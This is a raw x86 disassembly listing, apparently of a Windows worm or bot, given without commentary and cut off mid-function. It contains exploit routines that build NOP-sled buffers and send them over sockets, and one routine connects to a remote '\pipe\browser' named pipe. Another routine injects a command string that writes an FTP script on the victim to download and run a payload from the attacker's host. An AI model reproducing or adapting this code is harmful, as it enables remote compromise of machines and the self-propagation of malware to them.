		db 0Eh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257F0	proc near		; CODE XREF: sub_40180Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_28		= byte ptr  2Ch
arg_2C		= byte ptr  30h
arg_2F		= byte ptr  33h
arg_59		= byte ptr  5Dh
arg_5B		= byte ptr  5Fh
arg_5C		= byte ptr  60h
arg_90		= byte ptr  94h
arg_A4		= byte ptr  0A8h
arg_A5		= byte ptr  0A9h
arg_F0		= byte ptr  0F4h
arg_190		= byte ptr  194h
arg_89C		= dword	ptr  8A0h
arg_8AC		= byte ptr  8B0h
arg_8D4		= dword	ptr  8D8h
arg_8E4		= byte ptr  8E8h
arg_C08		= dword	ptr  0C0Ch
arg_C0C		= dword	ptr  0C10h
arg_C18		= byte ptr  0C1Ch
arg_E30		= byte ptr  0E34h
arg_E50		= byte ptr  0E54h
arg_E70		= byte ptr  0E74h
arg_E90		= byte ptr  0E94h
arg_1480	= byte ptr  1484h
arg_14E0	= byte ptr  14E4h
arg_14FC	= byte ptr  1500h
arg_1CCC	= byte ptr  1CD0h
arg_2177	= byte ptr  217Bh
arg_2464	= byte ptr  2468h
arg_24C5	= byte ptr  24C9h
arg_34F8	= byte ptr  34FCh
arg_3FA0	= byte ptr  3FA4h
arg_3FC0	= byte ptr  3FC4h
arg_401C	= byte ptr  4020h
arg_401D	= byte ptr  4021h
arg_4020	= byte ptr  4024h
arg_4030	= byte ptr  4034h
arg_4AF4	= byte ptr  4AF8h
arg_6098	= byte ptr  609Ch
arg_60F8	= byte ptr  60FCh
arg_6100	= byte ptr  6104h
arg_8140	= byte ptr  8144h
arg_81DC	= byte ptr  81E0h
arg_8234	= dword	ptr  8238h
arg_8290	= dword	ptr  8294h
arg_8294	= dword	ptr  8298h

		mov	eax, 81D8h
		call	sub_437B30
		mov	eax, dword_44690C
		mov	ecx, dword_446910
		push	ebx
		push	ebp
		push	esi
		lea	edx, [esp+0Ch+arg_81DC]
		push	edi
		mov	[esp+10h], eax
		push	edx
		lea	eax, [esp+14h+arg_4]
		push	offset dword_446900
		push	eax
		mov	[esp+1Ch+arg_0], ecx
		nop
		call	near ptr byte_5FC011
		add	esp, 0Ch
		xor	eax, eax
		lea	ecx, [esp+10h+arg_A5]


loc_425835:				; CODE XREF: sub_4257F0+56j
		mov	dl, [esp+eax+10h+arg_4]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 28h
		jl	short loc_425835
		mov	ecx, 18h
		mov	esi, offset dword_4461D0
		lea	edi, [esp+10h+arg_2C]
		xor	eax, eax
		rep movsd
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+10h+arg_A4]
		shl	ecx, 1
		mov	eax, ecx
		lea	edi, [esp+10h+arg_5C]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		mov	edx, dword_446227
		rep movsb
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, dword_44622B
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		lea	ecx, [esp+ecx*2+10h+arg_5B]
		mov	[ecx], edx
		mov	dl, byte_44622F
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], dl
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		add	bl, 1Ah
		shl	bl, 1
		repne scasb
		mov	ax, word_510108
		mov	[esp+10h+arg_2F], bl
		not	ecx
		dec	ecx
		push	eax
		shl	cl, 1
		add	cl, 9
		mov	[esp+14h+arg_59], cl
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_8294]
		xor	eax, 9999h
		test	edx, edx
		mov	word_445ED0, ax
		jz	loc_4259E3
		mov	ecx, 36Bh
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	edx, dword_4465C4[edx*8]
		rep stosd
		mov	edi, offset loc_445E20
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	esi, offset loc_445E20
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_8E4]
		mov	eax, ecx
		mov	[esp+14h+arg_8D4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, dword_4468F8
		mov	edi, offset loc_445E20
		mov	[esp+14h+arg_C08], ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+14h+arg_C0C], edx
		mov	edx, ecx
		mov	esi, offset loc_445E20
		lea	edi, [esp+14h+arg_C18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+14h+arg_24C5]


loc_42598F:				; CODE XREF: sub_4257F0+1B5j
		mov	dl, [esp+eax+14h+arg_F0]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 0DACh
		jl	short loc_42598F
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_60F8]
		mov	[esp+14h+arg_401C], 0
		rep stosd
		stosw
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_4020]
		mov	[esp+14h+arg_401D], 0
		rep stosd
		stosw
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_4259E3:				; CODE XREF: sub_4257F0+10Bj
		mov	ecx, 1F4h
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	esi, offset loc_445E20
		rep stosd
		mov	edi, offset loc_445E20
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_190]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+14h+var_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+14h+var_4]
		mov	edx, ecx
		lea	edi, [esp+14h+arg_8AC]
		shr	ecx, 2
		rep movsd
		mov	eax, dword_4465C4
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+14h+arg_89C], eax


loc_425A52:				; CODE XREF: sub_4257F0+1F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_14E0]
		mov	ebp, [esp+14h+arg_8290]
		rep stosd
		movsx	ecx, bl
		mov	ebx, dword_511CA0
		add	ecx, 4
		push	0
		lea	edx, [esp+18h+arg_28]
		push	ecx
		push	edx
		push	ebp
		stosb
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425A96
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4257F0+297j
		mov	esi, dword_511CA4
		push	0
		lea	eax, [esp+28h+arg_E90]
		push	640h
		push	eax
		push	ebp
		call	esi
		push	0
		push	68h
		push	offset dword_446234
		push	ebp
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ACC
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425ACC:				; CODE XREF: sub_4257F0+2CDj
		push	0
		lea	ecx, [esp+48h+arg_E70]
		push	640h
		push	ecx
		push	ebp
		call	esi
		push	0
		push	0A0h
		push	offset dword_4462A0
		push	ebp
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425AFF
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_4257F0+300j
		push	0
		lea	edx, [esp+68h+arg_E50]
		push	640h
		push	edx
		push	ebp
		call	esi
		mov	eax, [esp+74h+arg_8234]
		test	eax, eax
		jz	loc_425BE5
		mov	ecx, 1Ah
		mov	esi, offset dword_446458
		lea	edi, [esp+74h+arg_6098]
		push	0
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [esp+78h+arg_2464]
		lea	edi, [esp+78h+arg_6100]
		lea	eax, [esp+78h+arg_6098]
		rep movsd
		movsw
		mov	ecx, 1Ch
		mov	esi, offset dword_4464C4
		lea	edi, [esp+78h+arg_3FC0]
		push	10FCh
		rep movsd
		mov	ecx, 297h
		lea	esi, [esp+7Ch+arg_34F8]
		lea	edi, [esp+7Ch+arg_4030]
		push	eax
		rep movsd
		movsw
		mov	ecx, 21h
		mov	esi, offset dword_446538
		lea	edi, [esp+80h+arg_4AF4]
		push	ebp
		rep movsd
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BAB
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_4257F0+3ACj
		push	0
		lea	ecx, [esp+88h+arg_E30]
		push	640h
		push	ecx
		push	ebp
		nop
		call	near ptr 71AB615Ah
		push	0
		lea	edx, [esp+98h+arg_3FA0]
		push	0FDCh
		push	edx
		push	ebp
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BE5:				; CODE XREF: sub_4257F0+32Aj
		mov	ecx, 1Fh
		mov	esi, offset dword_446344
		lea	edi, [esp+74h+arg_1480]
		push	0
		rep movsd
		mov	ecx, 1F4h
		lea	esi, [esp+78h+arg_90]
		lea	edi, [esp+78h+arg_14FC]
		lea	eax, [esp+78h+arg_1480]
		rep movsd
		mov	ecx, 24h
		mov	esi, offset off_4463C4
		lea	edi, [esp+78h+arg_1CCC]
		push	0CF8h
		push	eax
		push	ebp
		rep movsd
		mov	[esp+84h+arg_2177], 0
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425C4C:				; CODE XREF: sub_4257F0+3E6j
					; sub_4257F0+44Dj
		push	12Ch
		nop
		call	near ptr 284020Fh
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+164h+arg_8140]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_4013BB
		add	esp, 0BCh
		test	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		setnz	al
		add	esp, 81D8h
		retn
sub_4257F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 130h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_425DC0:				; CODE XREF: ___:00401DCAj
		sub	esp, 650h
		xor	eax, eax
		push	ebx
		mov	[esp+4], eax
		push	esi
		mov	[esp+0Ch], eax
		lea	ecx, [esp+660h]
		push	edi
		mov	[esp+14h], eax
		push	ecx
		mov	[esp+1Ch], eax
		mov	word ptr [esp+10h], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+6FEh]
		mov	[esp+10h], eax
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	6
		push	1
		push	2
		mov	[esp+1Ah], ax
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_425E26
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E26:				; CODE XREF: ___:00425E18j
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E45
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E45:				; CODE XREF: ___:00425E37j
		mov	edi, dword_511CA0
		push	0
		push	89h
		push	offset dword_445FB8
		push	ebx
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E6B
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E6B:				; CODE XREF: ___:00425E5Dj
		mov	esi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	640h
		push	ecx
		push	ebx
		call	esi
		push	0
		push	0A8h
		push	offset dword_446044
		push	ebx
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425EA0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EA0:				; CODE XREF: ___:00425E92j
		push	0
		lea	edx, [esp+20h]
		push	640h
		push	edx
		push	ebx
		call	esi
		push	0
		push	0DEh
		push	offset dword_4460F0
		push	ebx
		call	edi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ECF
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425ECF:				; CODE XREF: ___:00425EC1j
		push	0
		lea	eax, [esp+20h]
		push	640h
		push	eax
		push	ebx
		call	esi
		movsx	eax, byte ptr [esp+60h]
		sub	eax, 30h
		jz	short loc_425EFB
		dec	eax
		jz	short loc_425EF7
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EF7:				; CODE XREF: ___:00425EE9j
		push	0
		jmp	short loc_425F2E
; ---------------------------------------------------------------------------


loc_425EFB:				; CODE XREF: ___:00425EE6j
		push	2
		push	ebx
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		test	al, al
		jz	short loc_425F2C
		mov	esi, 1
		jmp	short loc_425F5A
; ---------------------------------------------------------------------------


loc_425F2C:				; CODE XREF: ___:00425F23j
		push	1


loc_425F2E:				; CODE XREF: ___:00425EF9j
		push	ebx
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		neg	al
		sbb	eax, eax
		neg	eax
		mov	esi, eax


loc_425F5A:				; CODE XREF: ___:00425F2Aj
		push	ebx
		call	near ptr 71AB9639h
		nop
		test	esi, esi
		jz	short loc_425F88
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+71Ch]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425F88:				; CODE XREF: ___:00425F63j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426020:				; CODE XREF: ___:00401E51j
		push	edi
		push	0C8h
		nop
		call	near ptr 284020Fh
		mov	edx, [esp+0Ch]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+8]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426070	proc near		; CODE XREF: sub_401A55j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_BC		= dword	ptr  0C0h

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+5B0h+arg_BC]
		mov	[esp+5B0h+var_59C], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4260D8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260D8:				; CODE XREF: sub_426070+59j
		lea	eax, [esp+5B0h+var_5A0]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4260F8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260F8:				; CODE XREF: sub_426070+79j
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	edx, dword_44964F
		push	eax
		mov	eax, [esp+5B8h+arg_0]
		push	edx
		push	eax
		call	sub_401E10
		mov	ebx, dword_511AE4
		add	esp, 4
		lea	ecx, [esp+5BCh+var_590]
		push	eax
		push	offset aOpenSDIiEchoUs ; "open %s %d >>	ii &echo user a	a >> ii	&"...
		push	190h
		push	ecx
		call	ebx
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		mov	ebp, dword_511CA0
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+5B4h+var_590]
		push	ecx
		push	edx
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426187
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_426187:				; CODE XREF: sub_426070+108j
		push	1F4h
		call	near ptr 284020Fh
		nop
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		push	offset aS_3	; "%s\r\n"
		lea	eax, [esp+5B8h+var_590]
		push	190h
		push	eax
		call	ebx
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4261DC
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4261DC:				; CODE XREF: sub_426070+15Dj
		push	0
		lea	edx, [esp+5B4h+var_400]
		push	400h
		push	edx
		push	esi
		call	near ptr 71AB615Ah
		nop
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_426070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426280:				; CODE XREF: ___:00402199j
		mov	eax, 1E88h
		call	sub_437B30
		push	esi
		push	edi
		mov	ecx, 20Ch
		xor	eax, eax
		lea	edi, [esp+238h]
		mov	esi, offset dword_4469B4
		rep stosd
		mov	ecx, 0FAh
		mov	eax, 90909090h
		lea	edi, [esp+0A68h]
		mov	edx, dword_51010C
		rep stosd
		mov	ecx, 56h
		lea	edi, [esp+0CDEh]
		rep movsd
		mov	eax, dword_446C2C
		mov	ecx, 10h
		movsw
		movsb
		lea	edi, [esp+0E50h]
		mov	esi, offset dword_446964
		rep stosd
		mov	eax, dword_446C24
		mov	ecx, 0Bh
		lea	edi, [esp+238h]
		rep movsd
		mov	ecx, 10Ah
		lea	esi, [esp+0A68h]
		lea	edi, [esp+270h]
		mov	[esp+264h], eax
		mov	[esp+268h], edx
		mov	[esp+26Ch], eax
		rep movsd
		mov	ecx, 7
		mov	esi, offset dword_446994
		lea	edi, [esp+69Ch]
		mov	ax, word_446C20
		mov	[esp+698h], edx
		lea	edx, [esp+30h]
		rep movsd
		mov	esi, dword_511AE4
		lea	ecx, [esp+1E98h]
		push	ecx
		push	offset dword_446900
		push	104h
		push	edx
		mov	[esp+6BCh], ax
		call	esi
		add	esp, 10h
		xor	edi, edi
		lea	ecx, [esp+10h]
		lea	eax, [esp+30h]
		push	edi
		push	offset byte_448F30
		push	offset byte_448F30
		push	ecx
		mov	[esp+24h], edi
		mov	[esp+30h], edi
		mov	[esp+3Ch], edi
		mov	[esp+34h], eax
		call	sub_4382AA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_4263A5
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263A5:				; CODE XREF: ___:00426397j
		lea	edx, [esp+1E98h]
		lea	eax, [esp+134h]
		push	edx
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	104h
		push	eax
		call	esi
		add	esp, 10h
		lea	ecx, [esp+134h]
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	ecx
		nop
		call	near ptr 286040Ah
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4263EF
		or	eax, eax
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263EF:				; CODE XREF: ___:004263E2j
		lea	edx, [esp+0Ch]
		push	edi
		push	edx
		lea	eax, [esp+0E98h]
		push	1000h
		push	eax
		push	49h
		push	offset dword_446918
		push	esi
		nop
		call	near ptr 27808FDh
		test	eax, eax
		jnz	short loc_426427
		push	esi
		nop
		call	near ptr 2840A54h
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426427:				; CODE XREF: ___:00426412j
		lea	ecx, [esp+8]
		push	edi
		push	ecx
		lea	edx, [esp+240h]
		push	830h
		push	edx
		push	esi
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jnz	short loc_426458
		push	esi
		call	near ptr 2840A54h
		nop
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426458:				; CODE XREF: ___:00426443j
		push	115Ch
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+1F54h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401A55
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426520	proc near		; CODE XREF: sub_4013CAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_426520	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_401794j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013CA
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_426585
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426585:				; CODE XREF: sub_426560+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_446C64
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_446CC8, ecx
		lea	ecx, [eax+1]
		mov	dword_446CE9, ecx
		lea	ecx, [eax+17h]
		mov	dword_446CE1, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_446CF7, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD8
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_446CDC
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CDD
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_446CE1
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_446CE5
		mov	[ecx+8], esi
		mov	esi, dword_446CE9
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_446CED
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266D0	proc near		; CODE XREF: sub_402180j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013CA
		push	eax
		call	sub_4017C6
		add	esp, 0Ch
		retn
sub_4266D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426700:				; CODE XREF: ___:0040173Fj
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402180
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_426723
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426723:				; CODE XREF: ___:0042671Bj
		cmp	eax, 0FFFFh
		jbe	short loc_426730
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426730:				; CODE XREF: ___:00426728j
		push	esi
		push	edi
		push	ebx
		call	sub_4013CA
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013CA
		add	esp, 8
		push	eax
		push	esi
		call	sub_401794
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B8B
		push	esi
		mov	edi, eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267A0	proc near		; CODE XREF: sub_4017C6j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4267A9
		inc	ecx


loc_4267A9:				; CODE XREF: sub_4267A0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4267A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267D0	proc near		; CODE XREF: sub_401B8Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4267E8
		cmp	bl, 0Dh
		jz	short loc_4267E8
		cmp	bl, 5Ch
		jz	short loc_4267E8
